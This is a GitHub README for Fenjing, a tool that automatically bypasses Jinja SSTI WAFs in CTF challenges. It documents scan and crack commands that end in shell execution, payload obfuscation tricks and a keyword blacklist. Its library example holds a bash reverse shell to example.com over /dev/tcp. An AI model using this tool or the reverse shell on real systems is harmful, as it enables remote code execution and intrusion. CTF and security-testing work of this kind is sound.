Bypass the WAF without knowing WAF

Fenjing is a script for bypassing Jinja SSTI WAF in CTF competitions. It supports automatically attacking given website or API.

Demo

Features

Intergrade most of the CTF SSTI WAF bypass tricks.
Automatic parameter discovery.
Automatically generate payload by analyzing WAF.
Crack by HTTP parameters or URI path
Automatically detect and bypass keyword replacement.
......

Installation

With pipx (recommened)

#pip install pipx
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

WIth pip

pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

With docker images

docker run --net host -it marven11/fenjing webui

Usage

Webui

Run python -m fenjing webui to launch webui, specify parameter and crack.

Currently webui only supports Chinese, i18n is on its way.

Fill in your target and click Analyze, and type your command one the right.

scan

scan function is for guessing and cracking parameters of a URL. It supports detecting API parameters from HTML form and from parameter discovery.

python -m fenjing scan --url 'http://xxxx:xxx/yyy'

crack

You can also use crack to specify parameters and crack:

python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET

Here we provide 2 parameters, aaa and bbb, to crack. And use --detect-mode fast to accelerate cracking.

crack-request

You can also write the HTTP request into a text file (req.txt for example), and tell fenjing to crack with it.

For example, req.txt is shown below:

GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

And launch fenjing with:

python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

Tab completion

Reference to configure your shell.

Examples:

bash

cat >> ~/.bashrc << EOF
eval "$(_FENJING_COMPLETE=bash_source fenjing)"
EOF

zsh

cat >> ~/.zshrc << EOF
eval "$(_FENJING_COMPLETE=zsh_source fenjing)"
EOF

fish

echo '_FENJING_COMPLETE=fish_source fenjing | source' > ~/.config/fish/completions/fenjing.fish

Tab completion only supports fenjing ..., not python -m fenjing

Project details

program structure:

howitworks.md

Supported Bypass Rules

Character Bypass

' and "
_
[
Most sensitive keywords
Any Arabic numerals
+
-
*
~
{{
%
...

Numeric Bypass

Supports bypassing 0-9 and arithmetic operations simultaneously, using methods such as:

Hexadecimal
a*b+c
(39,39,20)|sum
(x,x,x)|length
Unicode characters

The above rules support nesting.

`'%c'` Bypass

Supports bypassing quotes, g, lipsum, and urlencode, etc.

Underscore Bypass

The number 22 in the above rule supports the numeric bypass mentioned earlier.

Arbitrary String

Supports bypassing quotes, arbitrary string concatenation symbols, underscores, and arbitrary keywords.

Supports the following forms:

'str'
"str"
"\x61\x61\x61"
dict(__class__=x)|join
- The underscore in the above rule supports bypassing.
'%c'*3%(97,97, 97)
- The '%c' in the above rule also supports the '%c' bypass mentioned earlier.
- All numbers in the above rule support the numeric bypass mentioned earlier.
Splitting the string into small segments and generating them separately
...

Attribute

['aaa']
.aaa
|attr('aaa')

Item

['aaa']
.aaa
.__getitem__('aaa')

Other Technical Details

The script pre-generates some strings and sets them using {%set %} at the beginning.
The script sets some variables at the beginning of the payload to provide for the expressions in the latter part.
The script generates shorter expressions automatically.
The script carefully checks the priority of each expression, trying to avoid generating unnecessary parentheses.

Detailed Usage

Using as a Command-Line Script

Introduction to each function:

webui: Web UI
- As the name suggests, a web-based UI
- Default port is 11451
scan: Scan the entire website
- Extract all forms from the website based on form elements and attack them
- Discover parameter by URL and extract other URLs in the HTML.
- After a successful scan, provide a simulated terminal or execute a given command
- Example: python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
- Requires specifying the form's URL, action (GET or POST), and all fields (e.g., 'name')
- After a successful attack, provide a simulated terminal or execute a given command
- Example: python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: Attack a specific path
- Attack vulnerabilities existing in a specific path (e.g., http://xxx.xxx/hello/<payload>)
- Parameters are similar to those of crack, but only require providing the corresponding path
- Example: python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file and attack
- Read the requests in the file, replace PAYLOAD with the actual payload, and submit
- By default, urlencode the request according to HTTP format, can be turned off with --urlencode-payload 0

Some special options:

--eval-args-payload: Place the payload in the GET parameter x and submit
--detect-mode: Detection mode, can be accurate or fast
--environment: Specify the rendering environment for the template, default is assumed to be in Flask's render_template_string
--tamper-cmd: Encode the payload before sending
- Examples:
  - --tamper-cmd 'rev': Reverse the payload before sending
  - --tamper-cmd 'base64': Encode the payload with base64 before sending
  - --tamper-cmd 'base64 | rev': Encode the payload with base64 and reverse it before sending
For detailed explanations, see examples.md

Usage: python -m fenjing scan [OPTIONS]

  扫描指定的网站

Options:
  --proxy TEXT                    请求时使用的代理
  --extra-data TEXT               请求时的额外POST参数，如a=1&b=2
  --extra-params TEXT             请求时的额外GET参数，如a=1&b=2
  --cookies TEXT                  请求时使用的Cookie
  --header TEXT                   请求时使用的Headers
  --user-agent TEXT               请求时使用的User Agent
  -u, --url TEXT                  需要攻击的URL  [required]
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境，默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式，可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则成功后进入交互模式
  --help                          Show this message and exit.

Usage: python -m fenjing crack [OPTIONS]

  攻击指定的表单

Options:
  --proxy TEXT                    请求时使用的代理
  --extra-data TEXT               请求时的额外POST参数，如a=1&b=2
  --extra-params TEXT             请求时的额外GET参数，如a=1&b=2
  --cookies TEXT                  请求时使用的Cookie
  --header TEXT                   请求时使用的Headers
  --user-agent TEXT               请求时使用的User Agent
  -u, --url TEXT                  需要攻击的URL  [required]
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境，默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式，可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则成功后进入交互模式
  -a, --action TEXT               参数的提交路径，如果和URL中的路径不同则需要填入
  -m, --method TEXT               参数的提交方式，默认为POST
  -i, --inputs TEXT               所有参数，以逗号分隔  [required]
  --eval-args-payload             是否开启在GET参数中传递Eval payload的功能
  --help                          Show this message and exit.

Usage: python -m fenjing crack-request [OPTIONS]

  从文本文件中读取请求并攻击目标，文本文件中用`PAYLOAD`标记payload插入位置

Options:
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境，默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式，可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则成功后进入交互模式
  -h, --host TEXT                 目标的host，可为IP或域名  [required]
  -p, --port INTEGER              目标的端口  [required]
  -f, --request-file TEXT         保存在文本文件中的请求，其中payload处为PAYLOAD  [required]
  --toreplace BYTES               请求文件中payload的占位符
  --ssl / --no-ssl                是否使用SSL
  --urlencode-payload BOOLEAN     是否对payload进行urlencode
  --raw                           不检查请求的换行符等
  --retry-times INTEGER           重试次数
  --update-content-length BOOLEAN
                                  自动更新Content-Length
  --help                          Show this message and exit.

Usage: python -m fenjing crack-path [OPTIONS]

  攻击指定的路径

Options:
  --proxy TEXT                    请求时使用的代理
  --extra-data TEXT               请求时的额外POST参数，如a=1&b=2
  --extra-params TEXT             请求时的额外GET参数，如a=1&b=2
  --cookies TEXT                  请求时使用的Cookie
  --header TEXT                   请求时使用的Headers
  --user-agent TEXT               请求时使用的User Agent
  -u, --url TEXT                  需要攻击的URL  [required]
  --interval FLOAT                每次请求的间隔
  --tamper-cmd TEXT               在发送payload之前进行编码的命令，默认不进行额外操作
  --environment TEMPLATEENVIRONMENT
                                  模板的执行环境，默认为不带flask全局变量的普通jinja2
  --replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
                                  WAF替换关键字时的策略，可为avoid/ignore/doubletapping
  --detect-mode DETECTMODE        分析模式，可为accurate或fast
  -e, --exec-cmd TEXT             成功后执行的shell指令，不填则成功后进入交互模式
  --help                          Show this message and exit.

Usage: python -m fenjing webui [OPTIONS]

  启动webui

Options:
  -h, --host TEXT                 需要监听的host, 默认为127.0.0.1
  -p, --port INTEGER              需要监听的端口, 默认为11451
  --open-browser / --no-open-browser
                                  是否自动打开浏览器
  --help                          Show this message and exit.

Use as a python library

example.py

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "０","１","２","３","４","５","６","７","８","９"
    ]
    return all(word in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    print(f"{config_payload=}")

Other examples (Chinese): examples.md

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README_en.md

README_en.md

Demo

Features

Installation

With pipx (recommened)

WIth pip

With docker images

Usage

Webui

scan

crack

crack-request

Tab completion

Project details

Character Bypass

Numeric Bypass

`'%c'` Bypass

Underscore Bypass

Arbitrary String

Attribute

Item

Detailed Usage

Using as a Command-Line Script

Use as a python library

Stars

Files

README_en.md

Latest commit

History

README_en.md

File metadata and controls

Demo

Features

Installation

With pipx (recommened)

WIth pip

With docker images

Usage

Webui

scan

crack

crack-request

Tab completion

Project details

Character Bypass

Numeric Bypass

'%c' Bypass

Underscore Bypass

Arbitrary String

Attribute

Item

Detailed Usage

Using as a Command-Line Script

Use as a python library

Stars

`'%c'` Bypass